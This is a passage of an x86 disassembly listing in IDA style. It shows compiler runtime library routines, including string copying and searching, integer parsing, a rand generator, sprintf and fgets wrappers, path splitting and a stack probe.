; sub_41B5F0+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_41B66E
dec ebx
jnz short loc_41B635
loc_41B642: ; CODE XREF: sub_41B5F0+2Bj
; sub_41B5F0+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41B64A: ; CODE XREF: sub_41B5F0+2Fj
test edi, 3
jz short loc_41B664
loc_41B652: ; CODE XREF: sub_41B5F0+72j
mov [edi], al
inc edi
dec ecx
jz loc_41B6E6
test edi, 3
jnz short loc_41B652
loc_41B664: ; CODE XREF: sub_41B5F0+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_41B6D7
loc_41B66B: ; CODE XREF: sub_41B5F0+7Fj
; sub_41B5F0+F4j
mov [edi], al
inc edi
loc_41B66E: ; CODE XREF: sub_41B5F0+4Dj
dec ebx
jnz short loc_41B66B
pop ebx
pop esi
loc_41B673: ; CODE XREF: sub_41B5F0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41B679: ; CODE XREF: sub_41B5F0+A9j
; sub_41B5F0+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41B630
loc_41B681: ; CODE XREF: sub_41B5F0+20j
; sub_41B5F0+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41B679
test dl, dl
jz short loc_41B6CB
test dh, dh
jz short loc_41B6C1
test edx, 0FF0000h
jz short loc_41B6B7
test edx, 0FF000000h
jnz short loc_41B679
mov [edi], edx
jmp short loc_41B6CF
; ---------------------------------------------------------------------------
loc_41B6B7: ; CODE XREF: sub_41B5F0+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_41B6CF
; ---------------------------------------------------------------------------
loc_41B6C1: ; CODE XREF: sub_41B5F0+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_41B6CF
; ---------------------------------------------------------------------------
loc_41B6CB: ; CODE XREF: sub_41B5F0+ADj
xor edx, edx
mov [edi], edx
loc_41B6CF: ; CODE XREF: sub_41B5F0+C5j
; sub_41B5F0+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_41B6E1
loc_41B6D7: ; CODE XREF: sub_41B5F0+79j
xor eax, eax
loc_41B6D9: ; CODE XREF: sub_41B5F0+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_41B6D9
loc_41B6E1: ; CODE XREF: sub_41B5F0+E5j
and ebx, 3
jnz short loc_41B66B
loc_41B6E6: ; CODE XREF: sub_41B5F0+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41B5F0 endp
; =============== S U B R O U T I N E =======================================
sub_41B6EE proc near ; CODE XREF: sub_41B779+4p
; sub_4247EC+1A2p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
loc_41B6F6: ; CODE XREF: sub_41B6EE+34j
cmp dword_43CBE4, 1
jle short loc_41B70E
movzx eax, byte ptr [edi]
push 8
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_41B71D
; ---------------------------------------------------------------------------
loc_41B70E: ; CODE XREF: sub_41B6EE+Fj
movzx eax, byte ptr [edi]
mov ecx, off_43C9D8
mov al, [ecx+eax*2]
and eax, 8
loc_41B71D: ; CODE XREF: sub_41B6EE+1Ej
test eax, eax
jz short loc_41B724
inc edi
jmp short loc_41B6F6
; ---------------------------------------------------------------------------
loc_41B724: ; CODE XREF: sub_41B6EE+31j
movzx esi, byte ptr [edi]
inc edi
cmp esi, 2Dh
mov ebp, esi
jz short loc_41B734
cmp esi, 2Bh
jnz short loc_41B738
loc_41B734: ; CODE XREF: sub_41B6EE+3Fj
movzx esi, byte ptr [edi]
inc edi
loc_41B738: ; CODE XREF: sub_41B6EE+44j
xor ebx, ebx
loc_41B73A: ; CODE XREF: sub_41B6EE+7Bj
cmp dword_43CBE4, 1
jle short loc_41B74F
push 4
push esi
call sub_41F515
pop ecx
pop ecx
jmp short loc_41B75A
; ---------------------------------------------------------------------------
loc_41B74F: ; CODE XREF: sub_41B6EE+53j
mov eax, off_43C9D8
mov al, [eax+esi*2]
and eax, 4
loc_41B75A: ; CODE XREF: sub_41B6EE+5Fj
test eax, eax
jz short loc_41B76B
lea eax, [ebx+ebx*4]
lea ebx, [esi+eax*2-30h]
movzx esi, byte ptr [edi]
inc edi
jmp short loc_41B73A
; ---------------------------------------------------------------------------
loc_41B76B: ; CODE XREF: sub_41B6EE+6Ej
cmp ebp, 2Dh
mov eax, ebx
jnz short loc_41B774
neg eax
loc_41B774: ; CODE XREF: sub_41B6EE+82j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41B6EE endp
; =============== S U B R O U T I N E =======================================
sub_41B779 proc near ; CODE XREF: ___:00401527p
; sub_401ACD+733p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41B6EE
pop ecx
retn
sub_41B779 endp
; ---------------------------------------------------------------------------
mov eax, off_43A97C
test eax, eax
jz short loc_41B78F
call eax ; sub_41C748
loc_41B78F: ; CODE XREF: ___:0041B78Bj
push offset dword_42902C
push offset dword_429018
call sub_41B86C
push offset dword_429014
push offset dword_429000
call sub_41B86C
add esp, 10h
retn
; ---------------------------------------------------------------------------
push 0
push 0
push dword ptr [esp+0Ch]
call sub_41B7D3
add esp, 0Ch
retn
; =============== S U B R O U T I N E =======================================
sub_41B7C2 proc near ; CODE XREF: sub_41DA29+1Cp
; sub_42255C+2276p ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_41B7D3
add esp, 0Ch
retn
sub_41B7C2 endp
; =============== S U B R O U T I N E =======================================
sub_41B7D3 proc near ; CODE XREF: ___:0041B7B9p
; sub_41B7C2+8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
push 1
pop edi
cmp dword_4DB9A0, edi
jnz short loc_41B7F0
push [esp+4+arg_0]
call near ptr 271066Fh
nop
push eax
call near ptr 2700D13h
nop
loc_41B7F0: ; CODE XREF: sub_41B7D3+Aj
cmp [esp+4+arg_4], 0
push ebx
mov ebx, [esp+8+arg_8]
mov dword_4DB99C, edi
mov byte_4DB998, bl
jnz short loc_41B844
mov eax, dword_4DCFFC
test eax, eax
jz short loc_41B833
mov ecx, dword_4DCFF8
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_41B832
loc_41B81F: ; CODE XREF: sub_41B7D3+5Dj
mov eax, [esi]
test eax, eax
jz short loc_41B827
call eax
loc_41B827: ; CODE XREF: sub_41B7D3+50j
sub esi, 4
cmp esi, dword_4DCFFC
jnb short loc_41B81F
loc_41B832: ; CODE XREF: sub_41B7D3+4Aj
pop esi
loc_41B833: ; CODE XREF: sub_41B7D3+3Cj
push offset dword_429038
push offset dword_429030
call sub_41B86C
pop ecx
pop ecx
loc_41B844: ; CODE XREF: sub_41B7D3+33j
push offset dword_429044
push offset dword_42903C
call sub_41B86C
pop ecx
pop ecx
test ebx, ebx
pop ebx
jnz short loc_41B86A
push [esp+4+arg_0]
mov dword_4DB9A0, edi
nop
call near ptr 77E75CB5h
loc_41B86A: ; CODE XREF: sub_41B7D3+85j
pop edi
retn
sub_41B7D3 endp
; =============== S U B R O U T I N E =======================================
sub_41B86C proc near ; CODE XREF: ___:0041B799p
; ___:0041B7A8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_41B871: ; CODE XREF: sub_41B86C+16j
cmp esi, [esp+4+arg_4]
jnb short loc_41B884
mov eax, [esi]
test eax, eax
jz short loc_41B87F
call eax
loc_41B87F: ; CODE XREF: sub_41B86C+Fj
add esi, 4
jmp short loc_41B871
; ---------------------------------------------------------------------------
loc_41B884: ; CODE XREF: sub_41B86C+9j
pop esi
retn
sub_41B86C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B886 proc near ; CODE XREF: ___:004013B0p
; ___:004014B6p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
lea eax, [ebp+arg_8]
mov [ebp+var_14], 42h
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
mov [ebp+var_1C], 7FFFFFFFh
push eax
call sub_41F69F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41B8C6
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41B8D3
; ---------------------------------------------------------------------------
loc_41B8C6: ; CODE XREF: sub_41B886+36j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41F58A
pop ecx
pop ecx
loc_41B8D3: ; CODE XREF: sub_41B886+3Ej
mov eax, esi
pop esi
leave
retn
sub_41B886 endp
; =============== S U B R O U T I N E =======================================
sub_41B8D8 proc near ; CODE XREF: ___:00401266p
; sub_401ACD+31A3p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_43A960, eax
retn
sub_41B8D8 endp
; =============== S U B R O U T I N E =======================================
sub_41B8E2 proc near ; CODE XREF: ___:loc_401379p
; ___:loc_4016A7p ...
mov eax, dword_43A960
imul eax, 343FDh
add eax, 269EC3h
mov dword_43A960, eax
sar eax, 10h
and eax, 7FFFh
retn
sub_41B8E2 endp
; =============== S U B R O U T I N E =======================================
sub_41B900 proc near ; CODE XREF: ___:0040134Ep
; sub_401ACD+8Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_41B97A
mov dh, [ecx+1]
test dh, dh
jz short loc_41B967
loc_41B918: ; CODE XREF: sub_41B900+52j
; sub_41B900+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_41B93A
test al, al
jz short loc_41B934
loc_41B929: ; CODE XREF: sub_41B900+32j
mov al, [esi]
inc esi
loc_41B92C: ; CODE XREF: sub_41B900+3Fj
cmp al, dl
jz short loc_41B93A
test al, al
jnz short loc_41B929
loc_41B934: ; CODE XREF: sub_41B900+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41B93A: ; CODE XREF: sub_41B900+23j
; sub_41B900+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_41B92C
lea edi, [esi-1]
loc_41B944: ; CODE XREF: sub_41B900+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_41B973
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_41B918
mov al, [ecx+3]
test al, al
jz short loc_41B973
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_41B944
jmp short loc_41B918
; ---------------------------------------------------------------------------
loc_41B967: ; CODE XREF: sub_41B900+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_41BFB6
; ---------------------------------------------------------------------------
loc_41B973: ; CODE XREF: sub_41B900+49j
; sub_41B900+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_41B97A: ; CODE XREF: sub_41B900+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_41B900 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B980 proc near ; CODE XREF: ___:0040133Bp
; sub_401ACD+1C73p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_14], 42h
mov [ebp+var_1C], eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_8]
push eax
call sub_41F69F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41B9BF
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41B9CC
; ---------------------------------------------------------------------------
loc_41B9BF: ; CODE XREF: sub_41B980+35j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41F58A
pop ecx
pop ecx
loc_41B9CC: ; CODE XREF: sub_41B980+3Dj
mov eax, esi
pop esi
leave
retn
sub_41B980 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B9D1 proc near ; CODE XREF: ___:00401318p
; sub_401ACD+21D2p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41AFE0
cmp eax, 1
pop ecx
jb short loc_41BA0C
cmp byte ptr [ebx+1], 3Ah
jnz short loc_41BA0C
mov esi, [ebp+arg_4]
test esi, esi
jz short loc_41BA08
push 2
push ebx
push esi
call sub_420289
add esp, 0Ch
and byte ptr [esi+2], 0
loc_41BA08: ; CODE XREF: sub_41B9D1+25j
inc ebx
inc ebx
jmp short loc_41BA16
; ---------------------------------------------------------------------------
loc_41BA0C: ; CODE XREF: sub_41B9D1+18j
; sub_41B9D1+1Ej
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41BA16
and byte ptr [eax], 0
loc_41BA16: ; CODE XREF: sub_41B9D1+39j
; sub_41B9D1+40j
and [ebp+arg_4], 0
cmp byte ptr [ebx], 0
mov eax, ebx
mov esi, 0FFh
mov [ebp+arg_0], eax
jz short loc_41BA8E
loc_41BA29: ; CODE XREF: sub_41B9D1+87j
mov cl, [eax]
movzx edx, cl
test byte_4DCEC1[edx], 4
jz short loc_41BA3A
inc eax
jmp short loc_41BA54
; ---------------------------------------------------------------------------
loc_41BA3A: ; CODE XREF: sub_41B9D1+64j
cmp cl, 2Fh
jz short loc_41BA4E
cmp cl, 5Ch
jz short loc_41BA4E
cmp cl, 2Eh
jnz short loc_41BA54
mov [ebp+var_4], eax
jmp short loc_41BA54
; ---------------------------------------------------------------------------
loc_41BA4E: ; CODE XREF: sub_41B9D1+6Cj
; sub_41B9D1+71j
lea ecx, [eax+1]
mov [ebp+arg_4], ecx
loc_41BA54: ; CODE XREF: sub_41B9D1+67j
; sub_41B9D1+76j ...
inc eax
cmp byte ptr [eax], 0
jnz short loc_41BA29
mov edi, [ebp+arg_4]
mov [ebp+arg_0], eax
test edi, edi
jz short loc_41BA8E
cmp [ebp+arg_8], 0
jz short loc_41BA89
sub edi, ebx
cmp edi, esi
jb short loc_41BA72
mov edi, esi
loc_41BA72: ; CODE XREF: sub_41B9D1+9Dj
push edi
push ebx
push [ebp+arg_8]
call sub_420289
mov eax, [ebp+arg_8]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41BA89: ; CODE XREF: sub_41B9D1+97j
mov ebx, [ebp+arg_4]
jmp short loc_41BA98
; ---------------------------------------------------------------------------
loc_41BA8E: ; CODE XREF: sub_41B9D1+56j
; sub_41B9D1+91j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_41BA98
and byte ptr [ecx], 0
loc_41BA98: ; CODE XREF: sub_41B9D1+BBj
; sub_41B9D1+C2j
mov edi, [ebp+var_4]
test edi, edi
jz short loc_41BAEB
cmp edi, ebx
jb short loc_41BAEB
cmp [ebp+arg_C], 0
jz short loc_41BAC8
sub edi, ebx
cmp edi, esi
jb short loc_41BAB1
mov edi, esi
loc_41BAB1: ; CODE XREF: sub_41B9D1+DCj
push edi
push ebx
push [ebp+arg_C]
call sub_420289
mov eax, [ebp+arg_C]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41BAC8: ; CODE XREF: sub_41B9D1+D6j
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_41BB13
sub eax, [ebp+var_4]
cmp eax, esi
jnb short loc_41BAD8
mov esi, eax
loc_41BAD8: ; CODE XREF: sub_41B9D1+103j
push esi
push [ebp+var_4]
push edi
call sub_420289
add esp, 0Ch
and byte ptr [esi+edi], 0
jmp short loc_41BB13
; ---------------------------------------------------------------------------
loc_41BAEB: ; CODE XREF: sub_41B9D1+CCj
; sub_41B9D1+D0j
mov edi, [ebp+arg_C]
test edi, edi
jz short loc_41BB09
sub eax, ebx
cmp eax, esi
jnb short loc_41BAFA
mov esi, eax
loc_41BAFA: ; CODE XREF: sub_41B9D1+125j
push esi
push ebx
push edi
call sub_420289
add esp, 0Ch
and byte ptr [esi+edi], 0
loc_41BB09: ; CODE XREF: sub_41B9D1+11Fj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_41BB13
and byte ptr [eax], 0
loc_41BB13: ; CODE XREF: sub_41B9D1+FCj
; sub_41B9D1+118j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41B9D1 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BB20 proc near ; CODE XREF: sub_401955+8p
; sub_401ACD+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_41BB40
loc_41BB2C: ; CODE XREF: sub_41BB20+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_41BB2C
loc_41BB40: ; CODE XREF: sub_41BB20+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_41BB20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BB4F proc near ; CODE XREF: sub_401ACD+757Fp
; sub_401ACD+75AEp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
mov ebx, [ebp+arg_0]
push edi
mov edi, ebx
jg short loc_41BB63
xor eax, eax
jmp short loc_41BB99
; ---------------------------------------------------------------------------
loc_41BB63: ; CODE XREF: sub_41BB4F+Ej
dec [ebp+arg_4]
push esi
jz short loc_41BB93
mov esi, [ebp+arg_8]
loc_41BB6C: ; CODE XREF: sub_41BB4F+42j
dec dword ptr [esi+4]
js short loc_41BB7B
mov ecx, [esi]
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
jmp short loc_41BB82
; ---------------------------------------------------------------------------
loc_41BB7B: ; CODE XREF: sub_41BB4F+20j
push esi
call sub_41F043
pop ecx
loc_41BB82: ; CODE XREF: sub_41BB4F+2Aj
cmp eax, 0FFFFFFFFh
jz short loc_41BB9D
mov [edi], al
inc edi
cmp al, 0Ah
jz short loc_41BB93
dec [ebp+arg_4]
jnz short loc_41BB6C
loc_41BB93: ; CODE XREF: sub_41BB4F+18j
; sub_41BB4F+3Dj ...
and byte ptr [edi], 0
loc_41BB96: ; CODE XREF: sub_41BB4F+55j
mov eax, ebx
pop esi
loc_41BB99: ; CODE XREF: sub_41BB4F+12j
pop edi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41BB9D: ; CODE XREF: sub_41BB4F+36j
cmp edi, [ebp+arg_0]
jnz short loc_41BB93
xor ebx, ebx
jmp short loc_41BB96
sub_41BB4F endp
; =============== S U B R O U T I N E =======================================
sub_41BBA6 proc near ; CODE XREF: ___:0041DDA5p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41BBBD
add esp, 10h
retn
sub_41BBA6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BBBD proc near ; CODE XREF: sub_41BBA6+Ep
; sub_41BDC5+Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
and [ebp+var_8], 0
push esi
push edi
mov edi, [ebp+arg_0]
mov bl, [edi]
lea esi, [edi+1]
mov [ebp+var_4], esi
loc_41BBD5: ; CODE XREF: sub_41BBBD+46j
cmp dword_43CBE4, 1
jle short loc_41BBED
movzx eax, bl
push 8
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_41BBFC
; ---------------------------------------------------------------------------
loc_41BBED: ; CODE XREF: sub_41BBBD+1Fj
mov ecx, off_43C9D8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 8
loc_41BBFC: ; CODE XREF: sub_41BBBD+2Ej
test eax, eax
jz short loc_41BC05
mov bl, [esi]
inc esi
jmp short loc_41BBD5
; ---------------------------------------------------------------------------
loc_41BC05: ; CODE XREF: sub_41BBBD+41j
cmp bl, 2Dh
mov [ebp+var_4], esi
jnz short loc_41BC13
or [ebp+arg_C], 2
jmp short loc_41BC18
; ---------------------------------------------------------------------------
loc_41BC13: ; CODE XREF: sub_41BBBD+4Ej
cmp bl, 2Bh
jnz short loc_41BC1E
loc_41BC18: ; CODE XREF: sub_41BBBD+54j
mov bl, [esi]
inc esi
mov [ebp+var_4], esi
loc_41BC1E: ; CODE XREF: sub_41BBBD+59j
mov eax, [ebp+arg_8]
test eax, eax
jl loc_41BDB5
cmp eax, 1
jz loc_41BDB5
cmp eax, 24h
jg loc_41BDB5
push 10h
test eax, eax
pop ecx
jnz short loc_41BC66
cmp bl, 30h
jz short loc_41BC50
mov [ebp+arg_8], 0Ah
jmp short loc_41BC82
; ---------------------------------------------------------------------------
loc_41BC50: ; CODE XREF: sub_41BBBD+88j
mov al, [esi]
cmp al, 78h
jz short loc_41BC63
cmp al, 58h
jz short loc_41BC63
mov [ebp+arg_8], 8
jmp short loc_41BC82
; ---------------------------------------------------------------------------
loc_41BC63: ; CODE XREF: sub_41BBBD+97j
; sub_41BBBD+9Bj
mov [ebp+arg_8], ecx
loc_41BC66: ; CODE XREF: sub_41BBBD+83j
cmp [ebp+arg_8], ecx
jnz short loc_41BC82
cmp bl, 30h
jnz short loc_41BC82
mov al, [esi]
cmp al, 78h
jz short loc_41BC7A
cmp al, 58h
jnz short loc_41BC82
loc_41BC7A: ; CODE XREF: sub_41BBBD+B7j
mov bl, [esi+1]
inc esi
inc esi
mov [ebp+var_4], esi
loc_41BC82: ; CODE XREF: sub_41BBBD+91j
; sub_41BBBD+A4j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov edi, 103h
mov [ebp+var_C], eax
loc_41BC92: ; CODE XREF: sub_41BBBD+16Cj
cmp dword_43CBE4, 1
movzx esi, bl
jle short loc_41BCAA
push 4
push esi
call sub_41F515
pop ecx
pop ecx
jmp short loc_41BCB5
; ---------------------------------------------------------------------------
loc_41BCAA: ; CODE XREF: sub_41BBBD+DFj
mov eax, off_43C9D8
mov al, [eax+esi*2]
and eax, 4
loc_41BCB5: ; CODE XREF: sub_41BBBD+EBj
test eax, eax
jz short loc_41BCC1
movsx ecx, bl
sub ecx, 30h
jmp short loc_41BCF3
; ---------------------------------------------------------------------------
loc_41BCC1: ; CODE XREF: sub_41BBBD+FAj
cmp dword_43CBE4, 1
jle short loc_41BCD5
push edi
push esi
call sub_41F515
pop ecx
pop ecx
jmp short loc_41BCE0
; ---------------------------------------------------------------------------
loc_41BCD5: ; CODE XREF: sub_41BBBD+10Bj
mov eax, off_43C9D8
mov ax, [eax+esi*2]
and eax, edi
loc_41BCE0: ; CODE XREF: sub_41BBBD+116j
test eax, eax
jz short loc_41BD2E
movsx eax, bl
push eax
call sub_420313
pop ecx
mov ecx, eax
sub ecx, 37h
loc_41BCF3: ; CODE XREF: sub_41BBBD+102j
cmp ecx, [ebp+arg_8]
jnb short loc_41BD2E
mov esi, [ebp+var_8]
or [ebp+arg_C], 8
cmp esi, [ebp+var_C]
jb short loc_41BD18
jnz short loc_41BD12
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp ecx, edx
jbe short loc_41BD18
loc_41BD12: ; CODE XREF: sub_41BBBD+147j
or [ebp+arg_C], 4
jmp short loc_41BD21
; ---------------------------------------------------------------------------
loc_41BD18: ; CODE XREF: sub_41BBBD+145j
; sub_41BBBD+153j
imul esi, [ebp+arg_8]
add esi, ecx
mov [ebp+var_8], esi
loc_41BD21: ; CODE XREF: sub_41BBBD+159j
mov eax, [ebp+var_4]
inc [ebp+var_4]
mov bl, [eax]
jmp loc_41BC92
; ---------------------------------------------------------------------------
loc_41BD2E: ; CODE XREF: sub_41BBBD+125j
; sub_41BBBD+139j
mov ecx, [ebp+arg_C]
dec [ebp+var_4]
mov edx, [ebp+arg_4]
test cl, 8
jnz short loc_41BD4C
test edx, edx
jz short loc_41BD46
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_41BD46: ; CODE XREF: sub_41BBBD+181j
and [ebp+var_8], 0
jmp short loc_41BD99
; ---------------------------------------------------------------------------
loc_41BD4C: ; CODE XREF: sub_41BBBD+17Dj
test cl, 4
mov eax, 7FFFFFFFh
jnz short loc_41BD72
test cl, 1
jnz short loc_41BD99
and ecx, 2
jz short loc_41BD69
cmp [ebp+var_8], 80000000h
ja short loc_41BD72
loc_41BD69: ; CODE XREF: sub_41BBBD+1A1j
test ecx, ecx
jnz short loc_41BD99
cmp [ebp+var_8], eax
jbe short loc_41BD99
loc_41BD72: ; CODE XREF: sub_41BBBD+197j
; sub_41BBBD+1AAj
test byte ptr [ebp+arg_C], 1
mov dword_4DB958, 22h
jz short loc_41BD88
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_41BD99
; ---------------------------------------------------------------------------
loc_41BD88: ; CODE XREF: sub_41BBBD+1C3j
mov ecx, [ebp+arg_C]
and cl, 2
neg cl
sbb ecx, ecx
neg ecx
add ecx, eax
mov [ebp+var_8], ecx
loc_41BD99: ; CODE XREF: sub_41BBBD+18Dj
; sub_41BBBD+19Cj ...
test edx, edx
jz short loc_41BDA2
mov eax, [ebp+var_4]
mov [edx], eax
loc_41BDA2: ; CODE XREF: sub_41BBBD+1DEj
test byte ptr [ebp+arg_C], 2
jz short loc_41BDB0
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_41BDB0: ; CODE XREF: sub_41BBBD+1E9j
mov eax, [ebp+var_8]
jmp short loc_41BDC0
; ---------------------------------------------------------------------------
loc_41BDB5: ; CODE XREF: sub_41BBBD+66j
; sub_41BBBD+6Fj ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41BDBE
mov [eax], edi
loc_41BDBE: ; CODE XREF: sub_41BBBD+1FDj
xor eax, eax
loc_41BDC0: ; CODE XREF: sub_41BBBD+1F6j
pop edi
pop esi
pop ebx
leave
retn
sub_41BBBD endp
; =============== S U B R O U T I N E =======================================
sub_41BDC5 proc near ; CODE XREF: sub_401ACD+61CFp
; sub_401ACD+6A10p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41BBBD
add esp, 10h
retn
sub_41BDC5 endp
; =============== S U B R O U T I N E =======================================
sub_41BDDC proc near ; CODE XREF: sub_401ACD+5981p
arg_0 = dword ptr 4
push [esp+arg_0]
nop
call near ptr 26802D9h
test eax, eax
jnz short loc_41BDF2
nop
call near ptr 2680ABEh
jmp short loc_41BDF4
; ---------------------------------------------------------------------------
loc_41BDF2: ; CODE XREF: sub_41BDDC+Cj
xor eax, eax
loc_41BDF4: ; CODE XREF: sub_41BDDC+14j
test eax, eax
jz short loc_41BE03
push eax
call sub_4203DF
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41BE03: ; CODE XREF: sub_41BDDC+1Aj
xor eax, eax
retn
sub_41BDDC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BE06 proc near ; CODE XREF: sub_401ACD+58D3p
; ___:00411CA2p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_0]
call sub_420446
mov esi, eax
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41F69F
push [ebp+arg_0]
mov edi, eax
push esi
call sub_4204D3
add esp, 18h
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_41BE06 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BE40 proc near ; CODE XREF: sub_401ACD+1E82p
; sub_401ACD+1EA1p ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_41BE61
xor eax, eax
jmp short loc_41BE63
; ---------------------------------------------------------------------------
loc_41BE61: ; CODE XREF: sub_41BE40+1Bj
mov eax, edi
loc_41BE63: ; CODE XREF: sub_41BE40+1Fj
cld
pop edi
leave
retn
